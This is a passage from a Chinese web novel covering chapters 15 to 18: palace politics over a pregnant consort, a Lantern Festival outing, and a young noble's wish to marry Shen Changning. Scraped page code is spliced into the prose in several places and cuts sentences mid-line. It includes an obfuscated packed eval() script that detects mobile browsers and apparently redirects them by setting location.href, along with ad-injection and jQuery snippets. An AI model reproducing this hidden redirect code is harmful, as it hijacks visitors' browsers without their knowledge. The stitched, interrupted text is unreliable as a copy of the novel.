是身侧番子。 他抬头，对方轻扬半边眉眼，手在腰侧轻轻一动，但听长刀出鞘之声，冰冷道光恍映他脸，乍搭在其手腕处。 皮肉剜割之声，竟如裂纸。 尖叫绷断似的戛然而止，那人看着软垂无力的手，脸部痉挛，汗泪一齐，如雨挥下。 地上被溅一抔鲜血，粘腻腥臭。 段劭踩着他未断的另只手，慢慢离去，脚下发出令人牙酸的骨骼颤动声，那人哀着发出喃喃痛呼。 宫中对江南两道的官员，不满到了极致。 每年的税银，都收不齐。 皇帝自己的人去，只能收上来六成。 若用内阁首辅一党之人，可收七成半。 段劭目光沉沉。 脑中过着无数官员的名字，最终定格在一处—— 咸初十二年的巡盐御史，沈锡。 15. 重开宴15 先太子案后，宽松平和的法治氛围就此终结，各处开始严刑峻法。 诏狱里押满了官吏，日夜哭啕，直到重刑之下，气息奄奄。 来了此处的人，生死不由人，不吐出东西，纵想寻死，亦不可得。魂飞汤火，惨毒难言。 人进了北镇抚司，死便成了一种奢望。 分明占据京中要道，来往之人却避之如蛇蝎。 它默然、静然，冷眼俯视着京中的热闹。 道路宽阔，两侧石雕雄狮伫立，甚至无需护卫，来往之人，尽绕着它走。 这是一匹缰绳只掌握在陛下手中的猛兽，张口必见血。 秦均行自侧门进，内里的人并无诧然，依旧在忙自己的事，似乎并不在意关押朝堂要犯、高官要员之地，多个与之无关的人。 秦均行走过狭长林径，至一玲珑飞檐下，推门而进。 门无锁，只年久失修，发出颤巍且让人牙酸的咯吱声—— 声音惊扰了内里正悬腕提笔之人。 漆案前，一人笔稍顿，抬眼看来。 大庆遍满血腥气的衙署，那人五官却精致如玉刻，长发流泄而下，淡雅如水墨。 “天下之大，百姓之众，段镇抚使歇一日又能如何，何苦大年夜依旧笔耕不辍。”秦均行揶揄挖苦。 这人现任镇抚使，辖管北镇抚司，直面天子，除诏狱外，监掌掌直驾侍卫、巡查缉捕之事，虽是从四品，权力却并不弱于锦衣卫指挥使太多。 那人笑看他，眸光流而不动，淡淡回：“既食君禄，自当忠君事，在朝上体圣心，入衙下解民困，岂能因节气而改？” 这般说着，笔却搁置在黑石山形笔架上。 案前灯烛明灭。 段劭解了笼在身上的鹤氅，取出温了一夜的酒，与其对饮。 秦均行十岁时曾因伤病回京小住，二人那时相识，情谊颇深，几年来，纵在两端，书信亦不断。 段劭父母皆亡，他本要斩首，但因家中出事时，年纪太小，模样又过盛，辗转送至京中，准备处以宫刑后，调.教一番，送到娘娘处留作哄人。 他命好，被贵人瞧中，带入了锦衣卫。 只那位贵人，却是位实打实的公公，位高权重，为圣贤所不耻。 世人憎恶北镇抚司，文人尤甚，恨刑具打断了他们与生俱来的筋骨，他们掌握着大庆的文脉，遍地门生故吏，恨不得生啖其肉、饮其血，遑论遍地盈沸的口诛笔伐。 段劭垂眼，睫间一痣又现。 那痣浅淡到极致，抬目消隐，垂睫方现。 秦均行常因此时与其说笑。 说段劭本是美玉，奈何天不作美，偏生瑕。 屋内光线昏淡，炭火也仅有一盆，堪堪取暖，二人饮酒取暖，浅谈些京中旧闻，直至三更夜半，秦均行推窗，罡风凛冽，擦脸而过，二人斟饮一番，身子渐热，又皆习武，并未觉冷。 北镇抚司离京师中央不远，目光所及的远处，是一众官员府邸。 正逢新旧交替，焰火不歇，此起彼伏，欢笑如声浪，遥遥传来，相隔数里，依旧可闻。 秦均行笑：“昔日有诗言，火树银花不夜天，今宵尽兴不归眠，今日一瞧，方知所言非虚。” 他还是第一次在京中过年。 段劭轻笑：“你若在侯府，瞧见的景色，远比我这好。” “说过来寻你就定会来。” 秦均行双臂环在胸前，将身子懒散搭在窗棂。 他的家，有与没有，又有何区别。 秦均行搭着眼睫，隐去内里情绪，“我心疼你，你又不是不知。” 养育段劭的人，乃司礼监掌印太监卢辛，陛下的御前红人，日日侍奉在跟前。 今日宫中宴饮，又兼御宴赏赐，京中二十六卫尽数待命，到了五更天，又要出宫祭拜天地祖宗，更脱不得身。 除夕夜，他不想段劭孤零零的。 段劭哑然。 这话说出去，他怕是又要被人好一顿攻讦。 北镇抚司的镇抚使都可怜。 那群人怕是不能活了。 段劭起身，不紧不慢不疾不徐地手持大氅走至窗前。 秦均行笑他。 吹风如何，最多头昏半日，何至于如此娇气。 大氅仍在他身上，秦均行被罩了一脸，正要给他丢回去，忽听段劭开口。 段劭：“陛下的意思，明日要大赦批囚犯为宫中增福，二十六卫都算作御前人，明日少不得让你御前见驾，别因小事触霉头。” 他说的没头尾。 秦均行却怔住。 大庆如今律法严峻，天灾人祸都少予恩赦，他二十九上值时，宫中亦未有恩赦的消息放出。 到底是发生了何事，短短一日，地覆天翻。 “祈福？”秦均行笼眉，迟然。 “娴贵妃有孕。” 字眼轻飘，却如巨轮入海，掀起滔天巨浪，秦均行猛惊，勃然色变。 锦衣卫行缉捕谳狱、侍卫天家之责，刺探军情、收集情报方面，是大庆卫所里的翘楚。又有卢辛在。 他消息来源，远比众人想象的多。 秦均行心猛跳，良久无声。 娴贵妃，有孕。 五字在脑内盘旋呼啸。 “……多久了？”声调微哑，秦均行问。 “已满三月。” 秦均行嗤笑：“瞒得可真紧。” 胎像坐稳了，才肯吐露。 娴贵妃，父族不兴，只是一七品县令，无法提供丝毫助力，即便当初选秀，侥幸入宫，也无人注意，认定她掀不起波浪。 谁也没想到，陛下竟偏宠至此。 无子封妃，再封贵妃，只因着一张貌美皮囊。 从选侍到贵妃，只用了五年，权胜一时，自己生扶持了一批人上位，还与内阁攀上交情。 卢辛今是司礼监掌印太监，向下半级，秉笔太监正是娴贵妃的人，且陛下愈发倚重。 此人若说憾事，便是无子。 她入宫，陛下已年过四十，子嗣一道，力不从心。 贤贵妃退而求其次，攀上了生有四皇子的宁妃。 她野心过甚，不愿屈于人下，自不肯投靠皇后。 先太子谋逆后，储君之位空悬数年。 但明眼人都能瞧出，储君之位，约莫要在宁妃的皇四子，与皇后膝下的皇五子闻钰中抉择。 朝臣本多属意闻钰，可娴贵妃如今表了态度，暗中扶持，局势又莫名起来。 秦均行的祖母，是当今皇后的亲姑姑，两家情谊深厚，自然扶持后党，也便是五皇子闻钰。 秦均行轻点头。 娴贵妃入宫七年，近乎专宠，终未有孕，寻了许多丹师入宫，以未见效。 未想，陛下年近五十，会得一子。 这个孩子的到来，让天下间至高无上的掌权者，喜悦难抑。 段劭：“不出明日，此事怕就会传遍朝野，陛下的意思，不仅要禀告天地祖宗，还要昭告天下。” 秦均行垂眸，“那孩子若是命好，就该投胎成个公主。” 陛下老年得子，又有娴贵妃在，今生富贵无虞。 只怕命薄，成了皇子。 届时，娴贵妃定会不遗余力，扶其登位。到时局面，真的是你死我活，终要带走一个，方肯罢休。 段劭看一眼他，见其神色郁郁幽微，笑言：“你真不回家？天尚未亮。” 除夕守岁，通宵达旦，天亮方歇。 第一年归京，就不在家中过年，他父亲知道， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773623|145694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少不得又是一阵鞭笞。 秦均行抱着大氅，视线不经意掠过手背疤口，半天不吭声，良久才回：“不回。” 回去做什么？ 他再无看万家焰火、满京璀璨的心，也不想吃酒，关窗转身。 他向罗汉榻走去，欲栖身躺下，却触到大片挨挤在一起的硬物，约莫一指宽，两丈长。 动作停住，秦均行掀开轻罩其上的纸张，见是一丛丛削好的竹条。 “你这是……？”秦均行怔了会儿，实在没想到这东西能用来做什么。 北镇抚司专理诏狱，可自行逮捕、侦讯、行刑、处决行犯。* 其下诏狱凶名，天下皆知。 全刑，有械、镣、棍、拶、夹棍五种，还不算黥刺剕劓阉割六大酷刑，刑讯审问，惨酷备至。 许多刑拘更是罔逆人伦。 内里许多刑具，都是特意研制。 秦均行本意去抓，思及此，手指微顿，以为是做刑具所用。 段劭抬眼望来，清淡道：“扎灯笼。” 三字钻入耳孔。 秦均行宛若见鬼，连娴贵妃的事都忘了。 北镇抚司的镇抚使，在大年三十，在诏狱里，扎灯笼？ “这么惊讶做什么？”段劭问。 秦均行：“……你什么时候学的？” 段劭不语。 秦均行便没再问，北镇抚司做的事，有些是天家密令。 段劭却再道：“二十二雪忽骤，院子里的竹被压折几根，我瞧着可惜，就削了烘干，做了竹条，准备制两灯笼。” 秦昭昨日来给他送年礼时瞧见，说过了年要来学，亲手做一盏莲花灯送人。 秦均行沉默。 有卢辛在，段劭并不缺银子，日常吃用，样样矜贵，这么节省做什么？一根竹子才几文钱？ “你想做什么灯？” “还未想好。”反正无论做什么灯，都要用竹条，先削出来，并无不妥。 “我听说今年流行螃蟹灯，鳌腿皆可动，几大豪商已提前在迤北大街定了铺子，准备兜售。” 段劭并未想好做什么灯。做什么，对他而言也并无区别。 但听秦均行所言，觉得此灯还挺有趣，拿出两张未裁的宣纸，提笔画图。 半个时辰，细节图跃然于纸面，但有细节不能敲定，拿来竹条尝试。 手指翻飞，不到片刻，露出雏形。 秦均行十分诧异，瞧着天色尚早，长夜漫漫，总无意趣，便将竹条抱至身上，仰躺在罗汉榻上，跟着段劭学。 他直到次日晌午方回。 他并不喜过年。 遇见亲友，彼此尽要叩头拜年。 京中更满是长辈。 他提前两日写好了敬贺正旦的飞帖，交给亲随，百姓士绅间彼此遇见，叩头拜年无错，官员总要顾及礼仪脸面，尤其是京官，附近住的多是同僚，真叩头拜年，次日怕就要喜事变丧事，生给折腾死。 由此，生了约定俗成的规矩，除夕五更天一过，主家便会在门口贴一红纸叠成的袋子，上用漆墨书“接福”二字，专门用来收受各府送来的贺帖。 此举也称望门投帖。 秦均行回府，未从侧门进，特意行至正门，取出红纸袋里各家送来的贺帖，秦家旧交的名单，他已要来，写下的贺帖也已由亲随依家送去，但怕有疏漏，不由再核检一番。 手中一摞的红帖，尽是世家贵族的恭贺之言。 张王李赵，惊人雷同。 秦均行做事，想来过目不忘，扫过封皮，便知此人是否在自己誊抄的名单中。 直到瞧见某一封，本只扫向落款。 沈。 动作微顿。 本该丢在一旁的拜帖，被他打开。 16. 重开宴16 待看完。 秦均行沉默了下。 他到底在想什么。 沈家，即便是送，也该是以沈庭萧的名义送。 秦均行提笔回写了封，让下人送去。 天渐黑，门房将贺帖整理妥当，分别给各院送去。 沈长宁依次翻阅，忽翻见秦家递来的，动作一停。 沈长宁：“？” 两家什么时候这么亲密了？ 她问了问门房小厮，发现是过了晌午送来的。 约莫是客气性地回还一个。 不然哪有这时候送的？ 想也知道，沈府的帖子是谁送的。 她去找沈庭萧。 许多族人携带家眷来沈家给老夫人拜年，带来的孩子，都来瞧沈庭萧。 虽心疼他那日受的伤，但也感激。 老儒生那日受了不小的惊吓，后面几日，都未来族学教课。 孩子们喜不自胜。 天下间，谁会真心喜欢上学呢？ 沈庭萧惊呆了，翻来覆去看了好几遍，满脑子都是“真的假的？” 临睡前，人躺在帘帐里，依旧压不住自己的嘴角。 贺帖被他收在匣子里，上头压了两枚吉语花钱。一枚是拜会澄秋师父时对方给的，另个是回来中途遇见秦昭，她给的。 …… 沈府今日喜气洋洋。 大房最热闹，听闻沈钦回来，沈宝婵登时放下手中的叶子牌，忙向外迎。 凡是七品以上的京官，每逢年节，宫里都有赏。 方慧指挥仆妇将东西拢至库房，自己寻来礼单，瞧着比往年多了两成的赏赐，忍不住喜问：“今年税收足额收上来了？国库有银子了？” 沈钦笑指她想得简单：“哪年收齐了银子？” 他叹，手拱向陛下方向：“是宫中得了大喜，贵妃娘娘有了身孕。” 阖府惊声不绝。 方慧震惊，“陛下这么厉害呐！！” 都要五十了，还能……还能绵延国祚呢？！！ 沈钦四十多，就不大成了。 沈钦：“…………？” 他总觉得，方慧这句话有旁的意思。 他清咳两声，装作无事，打发孩子走，又背手弯身，边和方慧向里走边耳语：“在孩子面前说这些做什么！” “……不厉害吗？” 哪里说错了？ 男人可怜的自尊心又开始作祟了。 沈家热闹，宫里也热闹，好一番嘈杂，总的说就是皇帝压了压娴贵妃一党的气势。 方慧听闻，睡前问沈钦，娴贵妃有了身孕，皇帝不该更宠着些，怎的要训斥。 沈钦笑她净操没用的心。 两派党争，关他们家什么事，人家可看不上沈家。 “哪没关系！文哥儿要是中了举，点他卷子的考官可不就成了他的恩师，咱可要提前准备着。” 沈钦无言两息，进而笑起身，笑个不迭：“还没考呢，而且中不中——” “不准说！”方慧起身就去捂他的嘴，“乾坤未定，说什么丧气话！” - 腊月过后，京中再无落雪。 过了年，京中渐暖，积雪开化，白日人群熙攘，孩子们嬉笑欢呼，热闹奔走，大人们则依着礼节走亲访友。 沈长宁未出府，跟着沈庭瞻学做螃蟹灯，准备十五出去玩。 每至上元节，宫中会赐予官员三日假，用来观赏灯会，其间，灯火光烛天地，夜不戒严，大有同乐之意。 灯会初八开始，十七方落。 皇帝不知怎的想起前些年为武僧开山立派的大和尚，对方已圆寂，就请其徒弟入宫苑，瞧瞧模样。 - 沈庭瞻为沈庭萧做了盏难寻的刻纸料丝灯。 料丝灯，是以玛瑙煮浆抽丝制片，再用框合围成的小方灯。 刻纸料丝灯，则是在料丝灯前黏贴上绘有花鸟虫鱼的丝绢彩纸，只京中有。 谢真没听过，就去问秦钧行。 回到秦家，秦均行未在，便在院中边练拳边等。 秦均行归来时见他，眉梢下意识一扬。 ……惹了事？ 直到沈庭萧将来意说出。 秦均行忍不住笑，“你多大了？” 谢真：“师父说，人生可以很讲究，也可以很将就，这是心法，并不以年纪做区分。” 秦均行哼笑，“那你选择很将就的人生便是，要什么料丝灯。” 谢真：“……” - 诏狱布局仿照府衙，除照壁后的监牢，后有大堂、二堂、三堂。 大堂乃治事之堂，二堂是内里官员办公、休息与商议之处。 三堂，则是镇抚使的内宅。 秦均行自侧门入，到时，内里灯还未熄，细小灯火晃动。 他欲推门，门却自内被拉开，露出一张艳极清极的脸。 秦均行总和其言，说他这张皮囊，若非配了个太过冷硬的内里性子，又行事凌厉、满身血腥，怕是比那名满大庆的才子更让人敬仰爱慕。 只可惜跟了个玉面阎罗。 段劭未想他会来，面有瞬怔。 心想，灯已然做完。 怎的今日又来？ 正是花灯节盛期，哪怕是诏狱，都在庭柱上辄悬宫灯，只是这里到底是整个大庆皆畏惧的地方，再热闹，来往无人，瞧着也冷清。 秦均行曾说，段劭的奉银不低，多请几个仆妇在家，并非难事。 何况京中衙署，另有食邑。 段劭只道：“许多比我历深的前辈还未得饱腹，我又哪里配得千头桔奴之享。” 他其实是觉得没必要。 他又不娶妻。 秦均行说了来意，提起谢真时，眼底带笑。 他问了家丁，发现此物新兴，年前京中方有，因着难做，又加之上绘人物山水晶莹可爱，许多人家的少爷小姐瞧了都喜欢，早定购一空。 现在想要，除非从买得的几户人家中匀一个。 段劭哑然：“……你真当我是神仙不成？” 他让锦衣卫从他人手中抢一个来？ “我又不知还能找谁。”秦均行在京中，并无旧交，也无心去交。 段劭定定看他，心底涌现出一丝异样。 还真是可怜。 秦均行终抬脚提步，欲进门。 段劭转身关门。 门扉与脸相距不过盈尺，甚至能嗅到含着力道的劲风里，夹杂着淡淡的桐油味。 ……真不帮？ 秦均行站在原地，心思百转千回，愕然到极致，下意识在想，还能找谁。 下一刻，门自里拉开。 段劭走出。 二者视线相对。 秦均行：“……干什么？” 视线下移，落在对方身后，发现段劭不知何时，披了件大氅。 段劭：“买灯。” 秦均行怔然无声，半晌笑。他跟着去，段劭却让他在家中等，那地不便人去，秦均行未有疑。 匠人，性子多怪。 段劭翻身上马，轻拽缰绳，拨转马头，向城西方向奔去。 - 沈庭瞻沉默跪在母亲房前。 每日入了夜，他都会来此跪两个时辰。 今日，人刚起身，忽听有人来，说姓段，讨要些做料丝灯的余料。 沈庭瞻怔然。 料丝灯能在京中流行来开，多半还是因着他，半年前，袭蕊曾指着他看的古书，说喜欢此灯，他私下做了许久，才做出。 京中出售的每盏灯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，刨除成本所得，要分他二成。 他与段劭有旧，但不算亲近，对方颇擅鲁班之道，雕工上佳，他亦喜欢此道，偶然见过，后又再遇，渐渐熟络，知其名姓。 京中姓段之人，实在不多。 段劭吃穿用度又不凡，算上年纪、秉性，答案呼之欲出。 沈庭瞻垂目。 他想知道……她在哪。 - 十五晚。 市井繁华，更甚往日，四周遍点芙蓉花灯，红烛千炬，周遭华光璀璨，浮动似海。 夜市阗戏，人群熙攘，连宵不绝。四周尽是吹弹鼓拍，声闻数十里。 沈长宁裹了兔毛斗篷，提着螃蟹灯，和沈宝婵走在街上。 四周人动，穿行不歇。 沈宝婵盯着沈长宁手中的灯，震惊：“你不是说好和我一同用玉兔灯的吗？” 沈妙仪笑：“既是同用，你怎不给四姐姐带一盏。” 沈宝婵：“…………” 沈妙仪，你好恶毒，你不能这么挑拨离间。 “你看，前面有灯谜铺子！”她拉着沈妙仪向前挤。 不远处人群聚集，比肩接踵，熙攘鼎沸，时时爆发出直冲云霄的欢呼声，响彻天际。 四周火树银花，喧嬉不绝，绵延百丈。吊、座灯、灯、提四灯，交相辉映，树梢系满红绸，头顶一轮皎皎圆月，都无人在意。 尤以远处一百枝灯树绚烂夺目，色如暖金，明亮似火，高似百尺，见之不忘。 宫中为给娴贵妃腹中之子祈福，又给上元灯会拨了万两银子，要置一十数丈的灯树，盛放于月下，万民同观。 元宵，帝城不夜。 灯市两旁，奇珍货物荟萃。 又有好谜者者张灯悬谜，来人驻足，猜中者揭签，得赠礼品。 沈家众人边走边猜，笑说趣事。 直至来到一处，骤听一喜呼——“沈庭萧！” 沈庭萧视线骤抬，瞧清来人，同喊。 是谢真！ 两侧乃商贾汇聚之地，尽是亭台阁楼，飞檐青瓦。视线正终，是揽月楼。内里常聚王侯名士、土豪劣绅，灯烛荧煌，不分昼夜。 - 秦均行正于楼中，与闻钰说着朝中局势，听着礼部选尚书的胶着，以及贵妃和后党的争端，嗤笑声。 不如给个纯臣了，免得各处争来争去，不得安生。 心神瞬晃之际，听到些许声音。 秦昭亲手做了盏莲花灯，要赠于人，将谢真留于隔壁。 秦均行杯盏顿停，近乎瞬间，视线向窗外偏转。 街上人声鼎沸，嘈杂如水，这道混杂在里的微小声音，本不该入耳，既入耳，也该进后立散。不知为何，直入脑海。 沈庭萧来了—— 沈家当共同出行。 料丝灯京中难寻，灯火莹莹，与绢丝灯大相径庭，一眼可瞧。 秦均行单臂倚在窗沿，视线随着沈庭萧前行，不知不觉，又向回落，漫无目的般扫视数圈，自嘲一笑。 他在寻什么？ 视线收回，余光却偏滞留，在消散那瞬，擦过一螃蟹灯。 螃蟹张牙舞爪，做工粗糙，甚至左右身子的大小都不一，提起来歪歪扭扭，不走正路，和他与段劭学做那盏有的一拼。 他的螃蟹灯，是和段劭学了十日才做出的。 只不过他做的是红的，而眼前人，做的是青绿的。 螃蟹寓意富甲天下，自该红红火火，为何做绿的？ 他不解。 身侧人揽着她胳膊和她说笑，说至兴处，她亦眼眉弯弯，连同身下的粉霞色百蝶栖花织金百褶裙都似沾了笑。 与初见自己时的惊惧模样，大相径庭。 脑中莫名想起一桩事，周婉总提，“你该成亲了——” 17. 重开宴17 秦均行放下杯盏，朝闻钰点了点头，转身下楼。 谢真已扑到沈庭萧身边，让小厮转告秦均行，他和沈家一同出去观灯。 二人一手一个料丝灯，瞧见了，还彼此恭维吹捧番。 走来的沈家众人：“………………” 你们，还是个孩子啊。 到底从哪学来的此种风气？ 正想着，忽有一人走来，众人抬头，见是秦均行，互相行礼问安。 谢真最是高兴，笑和其说，他等下要和沈庭萧一同去观灯，就不回来了，晚些拜过午门，直接乘马车回秦府。 十五是正日子，百官宴后，帝后将同赴午门观灯。 秦均行看向沈庭文，笑着点头：“麻烦您了。” 沈庭文笑笑，“这有什么麻烦的，我本还说着，若是他在，该有多好。” 沈家府里的姑娘都到了年纪，将要定亲，出行前后，定要带着仆妇，一是为了身旁有人伺候，二是为了其它方面考虑，真出了不干净的事，也有人护着，方慧可没那么心大。 仆妇乌泱泱的，多带个孩子，并不算事。 秦均行说还有事，众人笑说两句，人便散了。 沈宝婵本想等沈长宁，沈长宁方才本离他们挺近的，秦均行出来，不知怎的，又到了最后面。 她差点以为自己记忆出现错乱了。 沈宝婵找到沈长宁，朝秦均行福礼，正要走，秦均行忽道：“我有些话想和四姑娘说。” 沈长宁：“？” 说什么？ 沈宝婵在这不能说吗？ 她不想沈宝婵走，沈宝婵却未多想，朝沈长宁道：“那我们在前面等你，你别急。” 周遭人来人往，车过如流，还有仆妇跟着，不会出什么事。 换句话说，秦家沈家都要脸，做事知晓分寸。 青天白日的，两人就算说说话，也传不出什么难听的出去。 沈宝婵走向前，和等着的人说了声，众人都无甚大的反应，看两眼，皆走了。 许是有什么私事。 沈长宁：“…………” 都走了啊？ 行。 我们回家就绝交。 她不知秦均行为何留她，忍不住向后退两步，想和他保持距离。 二人间隔约莫三丈远。 很快，变成了五丈远。 秦均行凤眼微眯。 他并非狠厉之相，但凤眼薄唇，难免显得寡情凌厉。 射来的目光让人根本无法忽视。 人不动，视线也未带有太强的攻击性，可就是让人觉得此种俯视姿态极具侵略感。 沈长宁只觉此种感觉有些熟悉。 ……有点像看狗。 沈长宁：“…………” 她想起上辈子第一次见他时，他也是这般模样，若非穿得好，还真以为是谁家的土匪头子进了京。 他一脸对她生了兴趣的模样，沈长宁躺平了。 爱咋咋地吧。 反正现在有过了明面的李家，秦均行再怎么样，最近也碍不到她的眼。 至于李家被贬后，则到时候再说。 船到桥头自然直，车到山前必有路。 沈长宁成功开解了自己，礼貌性问了句：“世子有事？” 秦均行顿了顿，“没有。” 他不知该如何形容形容心中感觉，他就是单纯地想见见她。 沈长宁：好的—— 她这就退退退退退下了。 沈长宁欠身福礼，提裙就走，下一刻，灯笼线被人用手指钩住。 还未来得及转身询问，忽听身后声音：“你定亲了吗？” 沈长宁：“？？” 她好半晌，都没反应过来，他问的是什么。 等反应过来，啪嗒一声，松开灯笼，装作什么都没听到的样子，顷刻间走了。 灯笼跌落在地，滚了两遭。 秦均行：“…………” 秦均行：“…………？” 他很让人避之不及吗？ 还是他在她眼中，就是豺狼虎豹？ 而且他只是问问，也没说一定要上门提亲。 秦均行微微蹙眉，本提步欲走，可人却如被定住般，怎么也挪不开步子。 半晌，冷着一张脸，到底捡起掉在地面的灯笼。 ……还挺好看的，扔了怪可惜的。 - 沈长宁整晚都没精打采。 泼天的冷水，到底是又浇在了她脑袋上。 可两人只见了一面，他到底怎么了，对自己这么有兴趣？ 重活一次还这样，老天爷，你对得起我吗？ 沈宝婵总觉得沈长宁回来时有些不对，像是缺少了什么似的，一路左瞧瞧右看看，倒是沈妙仪问了问，秦均行找她有何事。 沈长宁不想将事情弄得太复杂，刚才对方说的话，她准备只当没听到：“楼上有贵人看上了我的灯笼，想重金买下。” 沈妙仪咋舌。 这贵人，可真没眼光。 难道是细糠吃多了，总想吃点粗粮？ 沈宝婵也震惊贵人眼光，问给了多少银子。 沈长宁笑摆手，“他喜欢，我赠他就是。” 只是个插曲，众人问过，也就未曾放在心上。 中间还有个插曲，路上瞧见了个模样极好看的男子，惹得身后三人，齐齐扭头，用目光注视那人离去。 ……男子竟有此等惑人的皮相？ 这是谁？ 都是闺阁里的女子，谁知晓，又跑去前面问。 沈庭瞻与许多达官贵人有交集，许知道。 段劭那张脸，想忽略都难，沈庭瞻默然片刻，忽笑。 “你们喜欢？” 沈宝婵和沈妙仪不管心底怎么想，到底是未出嫁的姑娘，哪好意思说那么直白，只问。 沈庭瞻答：“锦衣卫北镇抚司镇抚使。” 两人：“……” 两人顿时想起了京中有关此人的种种事迹—— 杀神，命不久长，冷心冷清。 对他感兴趣的，都死了。 沈长宁也在思考。 前世她未见过段劭，她自冷宫出来，对方已然病死了，皇帝恸哭不止，三日都没能上朝。 这是个圣眷尤为昌隆之人。 而且早死——早死？ 大脑电光火石间闪过什么。 沈长宁：“？” 世界上还有这种顶好的夫婿？？ 貌美短命，有权有势，死后还有余荫护佑。 这要是嫁过去，熬上两年，待对方一病死，守个寡，没事打打牌种种花，再无痛过继个孩子，该是什么神仙日子？ 但沈长宁只能在心里想想。 沈家和他，哪来的交情？连见一面都困难，何况论亲。 上辈子直到死，也没听说他有个小妾通房。 沈长宁想此，叹了口气，不得不将所有想法压下。 二更过半，帝后与娴贵妃齐至，夜宴群臣。 人过如蚁，摩肩接踵，百姓山呼如啸。 沈宝婵和沈妙仪头次见两位娘娘，被其芳仪惊到呆住。 这就是万人之上的娘娘吗？ 全天下最尊贵的人，天下女子的表率？ 沈宝婵激动到直拽沈长宁衣角：“要是站在上面，会是什么感觉！” 沈长宁笑笑。 自己来的话，还是很爽的。 如果身边有狗东西的话，那就不爽了，只觉得烦。 苍天在上，让他这辈子快些死去吧，如果愿望能视线的话，就是让她后半辈子每日吃香喝辣、安详度日，她也是愿意的。 - 沈长宁回去后，早早睡下，将秦均行和各种惹人烦恼的思绪都抛诸脑后。 大不了就去庙里做姑子去—— 再不成，将她打发到庄子里，混吃等死一辈子，也可以。 说不定，还没那么糟。 老天爷既让她重生一回，总不会让她就这么死去。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 烛烟升腾。 沈长宁在青纱帐中，睡得酣甜。 - 风过窗隙，烛火潋滟，晃动不停，在案前拉出一道长影。 秦均行默然盯着刚提回的灯笼，良久方挪开目光。 灯笼明明是葱绿色的，不知为何，他总想起那日初见，沈长宁戴着的嵌有粉红宝石的项圈。 不知何时，意识朦胧。 一片轻浅冷香中，他瞧见了沈长宁。 三春花艳，香气萦鼻。 日光大好，遍照长廊广庑，重檐八角攒尖亭飞度一层莹亮光辉。 廊中夹亭，他立于亭中。 远处花繁柳密，叶稠荫翠，群香争放，竞吐芳华。 远处，遥传一阵说笑声。 视线尽头，是一窄窄弓鞋，水鸭色团蝶百花凤尾裙随着走动，层层叠叠荡开，不知何时，那人走至自己身前。 她与身侧人说笑，未曾瞧见自己，脚步声由远及近。待察觉廊中有人，停住身子时，已至他身前。 薄纱擦过黑靴，一丝丝香气渗透开来，随着风动花梢，飘至鼻尖。 香气极淡，肖梅似竹。 他蹙眉屏息。 那人面露惊讶，笑颜淡收，视线自身侧人挪开，掀眸望来。 一双情韵盎然的眼，直面撞进他黑沉沉的视线，微怔又惊，怯怯盈盈，禁不住僵住身子。 他眯眼。 他是修罗恶鬼不成。 她为何惧她，怕他？ 可这人是谁，他为何从未见过。 他禁不住掀眼，摄去目光。 不足盈尺间，一人，薄施香粉，色如瑶瑜，云鬟雾鬓，仿若濯露蔷薇，一身灵香玉骨。 她却未肯瞧他。 她身侧尚站一人，着绣蟒貂裘。 她的视线，由始至终，一直落在他身上，除了撞见他，再不肯离开。 是谁？ 一种想要侵袭的本能战栗着升腾，他要知道，这人是谁。 视线摄去。 在看清对方瞬间，瞳孔猛缩，视线战栗—— 秦均行睁眼。 他不知何时，伏案微歇。 余梦仍惊，莫名情绪滋长。 他坐直身子，案前风动，摇动不停，一抹冷淡香气，好却又似萦于鼻尖，勾他想起梦中之事。 秦均行蹙眉。 他好像，真的对她上心了。 他说不清为何，但就是觉得，见到她，就移不开目光。 他不喜欢在一件事上浪费太多时间。从小家中就告诉他，机会只一次，稍纵即逝。 方才梦中，站在沈长宁身边的，正是他。 可即便是他，他也觉出了深深的，被掩盖的……嫉妒。 他就是……喜欢她。 秦均行整夜未睡，清晨，终在正常时间去正院给母亲问安。 听闻他来，周婉登时起身，走向外间，捏住身旁妈妈的手，让她关键时刻提醒自己些，莫要再和孩子置气了。 到底是自己的亲骨肉。 又到了该娶亲的年纪，她马上就是做婆母的人，闹那么僵做什么，让别人嫁进来看笑话不成。 可一想起成亲一事，周婉就深觉头疼。 秦均行过了年，就要十九，已然到了成亲的年纪，秦时寄来的家书中，也说让她留意些。 可她，哪管得了秦均行。 他不松口，难不成定下来后，她娶？ 周婉叹气，总觉得心底压了块石头。 秦均行不落礼数，长辑行礼。 妈妈马上扶他起来，周婉试探着问，有何事。 秦均行沉默半晌，才道：“我想娶沈家的四姑娘。” “什么！？？”周婉登时从凳子上起身，喜不自胜，总以为自己听错了，耐着性子再问：“好孩子，你再说一遍，你要母亲去做什么？” 天下间还有这样的好事？ 他终肯松口了？？？ 我的老天爷！ 真是祖宗保佑！！！ 18.重开宴18 “人品、样貌、性子，都不错，唯独就是门第低了些。”晌午，伺候周婉的嬷嬷和周婉道。 秦均行既提了，周婉没有不顺从的道理。 错过这个，还不知道他下次松口是什么时候。 如今托人去打探的消息已传回。 周婉细细听着，终叹了口气：“只要他喜欢，我是万事都依着的。” 沈家门第不高，却算清流，又是功臣之后，那姑娘，据说也是个娴雅守礼的，倒也算凑活。 说心里话，她倒是想给自己儿子选个高门之女。 可谁让她生个活爹？ 而且，秦家在此时娶个门第低些的，也不算坏事。 龙椅上那位，好似对秦家起了些戒备。 周婉想着寻个人去探探口风，却听人道，沈家已给沈长宁寻了门婚事，瞧着要定下了 周婉眉梢一扬，放下刚拿起的水：“谁家？” 对方回了。 周婉未说话，静静想着，伺候的嬷嬷挥手，让回禀的仆妇退下。 嬷嬷欲问，周婉知道她要说什么，没让她说话，而是让她先去探探秦均行的口风，“且再问问，两人是如何结识的。” 她想知道，对方到底是不是故意攀着秦府不放的，还是说，只是凑巧。 